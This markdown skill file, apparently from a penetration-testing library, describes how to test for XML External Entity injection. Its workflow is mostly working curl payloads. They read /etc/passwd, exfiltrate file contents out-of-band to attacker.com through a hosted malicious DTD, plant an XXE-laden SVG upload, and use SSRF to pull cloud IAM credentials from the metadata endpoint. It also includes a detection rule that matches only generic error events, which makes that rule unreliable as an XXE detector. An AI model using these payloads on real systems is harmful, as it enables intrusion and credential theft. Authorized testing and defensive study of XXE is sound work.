<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: testing-xml-external-entity-attacks
description: >-
  Test for XML External Entity (XXE) injection including file disclosure,
  SSRF via XXE, blind XXE with out-of-band exfiltration, XXE in file
  uploads (SVG, DOCX, XLSX), and XXE in SOAP endpoints.
domain: cybersecurity
subdomain: application-security
tags:
  - xxe
  - xml
  - ssrf
  - file-disclosure
  - oob-xxe
  - owasp-a05
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1190", "T1005"]
  owasp-top10: ["A05"]
  tools: ["burp-suite", "curl", "nuclei", "xxeinjector"]
---

# Testing Xml External Entity Attacks

## Overview

XML External Entity attacks exploit XML parsers that process external
entity references in XML input. XXE can lead to local file disclosure,
SSRF, denial of service, and remote code execution depending on the parser
and server configuration.

## Prerequisites

- Tools: ["burp-suite", "curl", "nuclei", "xxeinjector"]
- Authorized testing engagement with written scope
- Target application access and credentials

## Workflow

### Step 1: Basic XXE File Disclosure

```bash
# Classic XXE to read /etc/passwd
curl -s -X POST https://target.com/api/xml \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>'

# XXE via parameter entity
curl -s -X POST https://target.com/api/xml \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "file:///etc/passwd">%xxe;]><root>test</root>'
```

### Step 2: Blind XXE with OOB Exfiltration

```bash
# Host malicious DTD on attacker server (evil.dtd):
# <!ENTITY % file SYSTEM "file:///etc/passwd">
# <!ENTITY % eval "<!ENTITY &#x25; send SYSTEM 'http://attacker.com/?data=%file;'>">
# %eval; %send;

# Trigger blind XXE
curl -s -X POST https://target.com/api/xml \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">%xxe;]><root>test</root>'
```

### Step 3: XXE via File Upload

```bash
# SVG file with XXE
cat > xxe.svg << 'SVGEOF'
<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/hostname">]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text>&xxe;</text>
</svg>
SVGEOF
curl -s -X POST https://target.com/upload -F "file=@xxe.svg"

# XLSX/DOCX XXE (modify content XML inside ZIP)
# unzip doc.xlsx, inject entity in xl/workbook.xml, rezip
```

### Step 4: SSRF via XXE

```bash
# Internal network scanning via XXE
curl -s -X POST https://target.com/api/xml \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]><root>&xxe;</root>'

# Cloud metadata via XXE
curl -s -X POST https://target.com/api/xml \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">]><root>&xxe;</root>'
```

## Detection Opportunities

| Signal | Source | Description |
|--------|--------|-------------|
| XXE payload | WAF | DOCTYPE and ENTITY declarations in XML input |
| OOB XXE callback | DNS/HTTP logs | Outbound requests from XML parser |
| Internal SSRF | Network monitor | Requests to metadata/internal IPs from app |

```yaml
title: Testing Xml External Entity Attacks Detection
id: 565b7d94-7922-493e-a53c-66ea5b42c1c7
status: experimental
description: Detects suspicious activity related to testing xml external entity attacks techniques in application security context
logsource:
  category: application
  product: webserver
detection:
  selection:
    EventType: error
  condition: selection
level: medium
tags:
  - attack.t1190
  - attack.t1005
  - attack.initial_access
falsepositives:
  - Application security scanning tools during CI/CD pipeline execution
```

## Verification

- [ ] All relevant attack vectors tested
- [ ] Findings documented with severity and evidence
- [ ] Detection artifacts identified
- [ ] Remediation recommendations provided

## References

- [OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/)
- [MITRE ATT&CK](https://attack.mitre.org/)
